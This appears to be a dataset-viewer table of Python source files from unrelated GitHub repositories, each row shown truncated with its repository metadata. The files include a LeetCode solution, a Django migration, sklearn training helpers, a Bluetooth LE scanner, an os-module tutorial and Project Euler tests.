# **********************************************************************
# Copyright (c) 2013-2019 Cisco Systems, Inc. All rights reserved
# written by zen warriors, do not modify!
# **********************************************************************
from cobra.mit.meta import ClassMeta
from cobra.m... | [
"rrishike@cisco.com"
] | rrishike@cisco.com |
9e03554339fbf11a977d749579273a5308ebe17c | 0ba1743e9f865a023f72a14d3a5c16b99ee7f138 | /problems/test_0413_dp.py | b94b4a4005613d47a4b97b5eda809a2ed0f42f15 | [
"Unlicense"
] | permissive | chrisxue815/leetcode_python | d0a38a4168243b0628256825581a6df1b673855c | a33eb7b833f6998972e5340d383443f3a2ee64e3 | refs/heads/main | 2022-06-20T15:09:27.221807 | 2022-06-02T21:55:35 | 2022-06-02T21:55:35 | 94,590,264 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 997 | py | import unittest
import utils
# O(n^2) time. O(n) space. DP.
class Solution:
def numberOfArithmeticSlices(self, a):
"""
:type a: List[int]
:rtype: int
"""
# Common difference
dp = [0] * len(a)
result = 0
for p in range(len(a) - 1):
q = p ... | [
"chrisxue815@gmail.com"
] | chrisxue815@gmail.com |
15779835a64dfa759bd9410bf9661ec5cf78f3aa | 9a1538123b8abec14410dad46c437cf735684dd9 | /product/migrations/0018_productproperty_value_type.py | 48a0a691e24e11ea5cedf4a2158c7c000f223fd6 | [] | no_license | asmuratbek/zastroy24 | deec6bd65229aeb29eb313d915c6c47ca036a8aa | d68ce21beefc644752a1271a4d8981cd2423afba | refs/heads/master | 2020-04-27T18:44:26.845151 | 2019-03-08T18:09:13 | 2019-03-08T18:09:13 | 174,585,168 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 662 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2017-12-24 09:41
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('product', '0017_auto_20171224_1536'),
]
operations = [
migrations.AddField(
... | [
"asmuratbek@gmail.com"
] | asmuratbek@gmail.com |
7ea4348e0388b427adcc0d1d2c31b06df0550e19 | 023acc1445ebde3e9fe4318fcfd60908c91d74d5 | /sli/train.py | 77fdce51b077a71a4dc73a1c298f924c963fc9d0 | [] | no_license | counterfactuals/sensible-local-interpretations | 99d22df59a6f07b6135762eec57c29e80dac9cdf | ab7af07299ea2ec1a1be28e0bf38f4947321d04c | refs/heads/master | 2022-03-12T11:30:19.296104 | 2019-12-02T20:31:27 | 2019-12-02T20:31:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,828 | py | from copy import deepcopy
import numpy as np
from sklearn.neural_network import MLPClassifier, MLPRegressor
from sklearn.linear_model import LogisticRegression, LinearRegression
from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor, GradientBoostingClassifier
from sklearn.tree import export_graphvi... | [
"chandan_singh@berkeley.edu"
] | chandan_singh@berkeley.edu |
cc2b9367dcb75a3613b7456a24d7379ffed94e1f | 23daf97312ea16cc399feedfa048131d564b83fa | /lib/BluenetLib/lib/core/bluetooth_delegates/AioScanner.py | 1bdc096e712664a077ca209d4d5155cfeaf19041 | [] | no_license | wickyb94/programmer | 6e2cafa3fbb9f54bfdcd24f7062f6425ebb429fc | be0f01586365a79b51af8c4da376fe216d38afba | refs/heads/master | 2022-04-09T17:52:18.106331 | 2020-03-02T15:57:02 | 2020-03-02T15:57:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,569 | py | import asyncio
import sys
import time
import aioblescan
from BluenetLib.lib.util.LogUtil import tfs
counter = 0
prev = time.time()
start = time.time()
class AioScanner:
def __init__(self, hciIndex = 0):
self.event_loop = None
self.bluetoothControl = None
self.connection = None
... | [
"alexdemulder@gmail.com"
] | alexdemulder@gmail.com |
96fd2bd857643c663092d384cf8ec78d6b61a6cf | fb0f6646b2a7972454453907fbdc656b7471f55f | /p322_module_os.py | dd9437674eb42016e5d93c9c80fd0ac56ab764e7 | [] | no_license | woojin97318/python_basic | 6497d5c85369746edfe8ca79ad7f3f47c871ee66 | 97e9a322a08f1483bf35dc03507ac36af2bf1ddb | refs/heads/master | 2023-07-15T03:06:05.716623 | 2021-08-25T03:46:48 | 2021-08-25T03:46:48 | 399,681,125 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 619 | py | # ๋ชจ๋์ ์ฝ์ด ๋ค์
๋๋ค.
import os
# ๊ธฐ๋ณธ ์ ๋ณด๋ฅผ ๋ช๊ฐ ์ถ๋ ฅํด ๋ด
์๋ค.
print("ํ์ฌ ์ด์์ฒด์ :", os.name)
print("ํ์ฌ ํด๋:", os.getcwd())
print("ํ์ฌ ํด๋ ๋ด๋ถ์ ์์:", os.listdir())
# ํด๋๋ฅผ ๋ง๋ค๊ณ ์ ๊ฑฐํฉ๋๋ค.[ํด๋๊ฐ ๋น์ด์์ ๋๋ง ์ ๊ฑฐ ๊ฐ๋ฅ]
os.mkdir("hello")
os.rmdir("hello")
# ํ์ผ์ ์์ฑํ๊ณ + ํ์ผ ์ด๋ฆ์ ๋ณ๊ฒฝํฉ๋๋ค.
with open("original.txt", "w") as file:
file.write("hello")
os.rename("orig... | [
"woojin97318@naver.com"
] | woojin97318@naver.com |
44b780296f882a1446213f64764a325db1448200 | 850001831b1fcdd4d27e328b356fc34909ca2917 | /examples/spawn.py | 367e288dfa2b65a8b6bb4a47c0514b8b5cd14e4f | [
"BSD-3-Clause"
] | permissive | yidiq7/pathos | b337353ccfe447866c46a4a784a7908c2f3fe31e | 7e4fef911dc0283e245189df4683eea65bfd90f0 | refs/heads/master | 2022-08-24T08:43:34.009115 | 2020-05-27T12:18:21 | 2020-05-27T12:18:21 | 267,310,390 | 0 | 0 | NOASSERTION | 2020-05-27T12:14:50 | 2020-05-27T12:14:47 | null | UTF-8 | Python | false | false | 957 | py | #!/usr/bin/env python
#
# Author: Mike McKerns (mmckerns @caltech and @uqfoundation)
# Copyright (c) 1997-2016 California Institute of Technology.
# Copyright (c) 2016-2020 The Uncertainty Quantification Foundation.
# License: 3-clause BSD. The full license text is available at:
# - https://github.com/uqfoundation/pa... | [
"mmckerns@8bfda07e-5b16-0410-ab1d-fd04ec2748df"
] | mmckerns@8bfda07e-5b16-0410-ab1d-fd04ec2748df |
daa82ba337e7c7ea48f602e231247e8415e0c3dc | 805fbd9aead4fc2998fd5d8790043a20b2656915 | /data_format/__init__.py | cb3c33b9d09bcf03a38af8f8bdd84bd066689fa1 | [] | no_license | chenhaomingbob/ToolBox | f9a6ef64352c85ae84c44e9fab53aab74992c7c5 | 962304c004aa39e8a5bcb153def9dc3895595c9f | refs/heads/master | 2021-05-19T00:37:23.170766 | 2020-06-01T10:57:05 | 2020-06-01T10:57:05 | 251,496,830 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 145 | py | #!/usr/bin/python
# -*- coding:utf8 -*-
"""
Author: Haoming Chen
E-mail: chenhaomingbob@163.com
Time: 2020/03/23
Description:
""" | [
"chenhaomingbob@163.com"
] | chenhaomingbob@163.com |
d3743b3de00d52481bf2c74a20fb31405afce4c4 | fb81442e5d2e940ad967bd0a264b7918d739173f | /py_test.py | 49e8b365b34d93965925230a57e83abad11d1008 | [] | no_license | Amertz08/euler_py | 054f45d110b8cf4d0e9afeb7f5c608026226443c | 0dd217c9e0a061e3622fd150b61e24a2c6bad5af | refs/heads/master | 2021-05-06T23:15:42.742578 | 2017-12-07T00:16:31 | 2017-12-07T00:16:31 | 112,960,695 | 0 | 1 | null | 2017-12-06T20:32:57 | 2017-12-03T20:21:48 | C | UTF-8 | Python | false | false | 515 | py | import euler_py as eul
def test_problem_one():
result = eul.problem_one(10)
assert result == 23, f'Problem 1 should be 23: {result}'
def test_problem_two():
result = eul.problem_two(89)
assert result == 44, f'Problem 2 should be 44: {result}'
def test_problem_three():
result = eul.problem_thre... | [
"adammertz@gmail.com"
] | adammertz@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.